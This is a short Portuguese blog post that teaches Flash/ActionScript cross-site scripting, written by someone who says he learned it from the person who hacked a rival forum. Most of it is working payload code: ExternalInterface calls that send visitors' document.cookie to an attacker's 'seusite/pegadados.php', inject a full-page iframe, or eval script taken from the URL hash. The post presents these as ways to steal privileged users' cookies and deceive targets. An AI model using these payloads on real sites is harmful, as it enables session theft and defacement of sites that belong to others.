Tudo bem. Como eu vou aproveitar isso? Não vou poder ter acesso ao servidor com isso, visto que Flash é um client-side. Ôpa!, client-side? JavaScript também é!
Legal! Vou mostrar aqui o que eu aprendi depois de um tempo de conversa com o pink noise, agora super administrador do FH, logo após ter ownado o fórum adversário. Ele me contou um pouco sobre a falha explorada para esta ação. Antes da conversa, o que eu entendia de Flash se resumia em “absolutamente nada”. Eu tinha o Macromedia Flash PRO 8 instalado na máquina e parado. Claro que ainda não entendo quase nada de Flash, mas isso já é o suficiente para aprender a explorar essa falha.
Primeiro, certifique-se de ter o Flash e Action Script 2 (ou superior) em sua máquina. Você pode baixá-lo aqui (não dou muita garantia deste link. Baixe por sua própria conta e risco). Agora, vamos fazer nosso primeiro teste com o comando geturl.
1
| getURL( 'javascript:alert("oi")' ); |
Mas, segundo o próprio pink noise, usar geturl() pode nos limitar. Não sei o porquê, mas quem sou eu pra duvidar, já que tudo o que sei sobre Flash se resume nestas linhas?
Neste caso ele me sugeriu fazer o seguinte:
Código:
1
2
| import flash.external.ExternalInterface; ExternalInterface.call( "function(){ alert('oi'); }" , "" ); |
Código:
1
2
| import flash.external.ExternalInterface; ExternalInterface.call( "function(){ location.href = 'http://seusite/pegadados.php?dado='+document.cookie; }" , "" ); |
Código:
1
2
| import flash.external.ExternalInterface; ExternalInterface.call( "function(){ document.write('<iframe src=http://seusite/own.html width=100% height=100%></iframe>'); }" , "" ); |
Código:
1
| getURL( 'javascript:eval(document.location.hash.substr(1))' ); |
Citação:
http://seusite/arquivo.swf#alert(“oi”); |
Como explorar isso? Veja pelos exemplos. Dependendo da localização onde estará seu arquivo, não é interessante ownar de primeira metendo um iframe. Seria mais inteligente adquirir os cookies dos usuários e, possivelmente, de um usuário privilegiado. Pode também ser usado como um simples XSS Reflected, para enganar o alvo pelo domínio.
Outra: dependendo da versão de seu Action Script, é necessário colocar, antes do código:
Código:
1
2
3
| class Main { static function main(){ |
Código:
1
2
| } } |
0 comentários:
Postar um comentário